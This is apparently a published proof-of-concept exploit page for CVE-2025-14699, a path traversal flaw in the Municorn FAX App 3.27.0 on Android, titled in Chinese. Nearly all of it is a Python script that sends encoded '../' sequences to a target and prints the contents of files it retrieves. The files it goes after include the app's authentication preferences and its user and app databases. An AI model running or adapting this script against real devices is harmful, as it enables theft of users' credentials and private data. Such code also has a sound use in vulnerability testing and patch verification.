CVE-2025-14699 Municorn FAX App路径遍历漏洞

#!/usr/bin/env python3 # CVE-2025-14699 PoC - Municorn FAX App Path Traversal # Target: Municorn FAX App 3.27.0 on Android # Vulnerability: Path Traversal in biz.faxapp.app component import requests import sys import urllib.parse def test_path_traversal(target_url, file_path): """Test for path traversal vulnerability""" # Encode path traversal sequence traversal = "../../../.." payload = traversal + file_path encoded_payload = urllib.parse.quote(payload) # Construct exploit URL exploit_url = f"{target_url}/biz.faxapp.app/file?path={encoded_payload}" print(f"[*] Testing path traversal...") print(f"[*] Target URL: {exploit_url}") try: response = requests.get(exploit_url, timeout=10) if response.status_code == 200: print(f"[+] Potential vulnerability detected!") print(f"[+] Response length: {len(response.content)} bytes") print(f"[+] Content preview:\n{response.text[:500]}") return True else: print(f"[-] Request failed with status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False def main(): if len(sys.argv) < 2: print("Usage: python3 cve-2025-14699.py <target_url>") print("Example: python3 cve-2025-14699.py http://192.168.1.100:8080") sys.exit(1) target = sys.argv[1] # Test files commonly accessible via path traversal test_files = [ "/data/data/com.faxapp/shared_prefs/AuthPrefs.xml", "/data/data/com.faxapp/files/user_data.db", "/etc/hosts", "/data/data/com.faxapp/databases/app.db" ] print("=" * 60) print("CVE-2025-14699 PoC - Municorn FAX App Path Traversal") print("=" * 60) for file_path in test_files: print(f"\n[*] Testing: {file_path}") test_path_traversal(target, file_path) if __name__ == "__main__": main()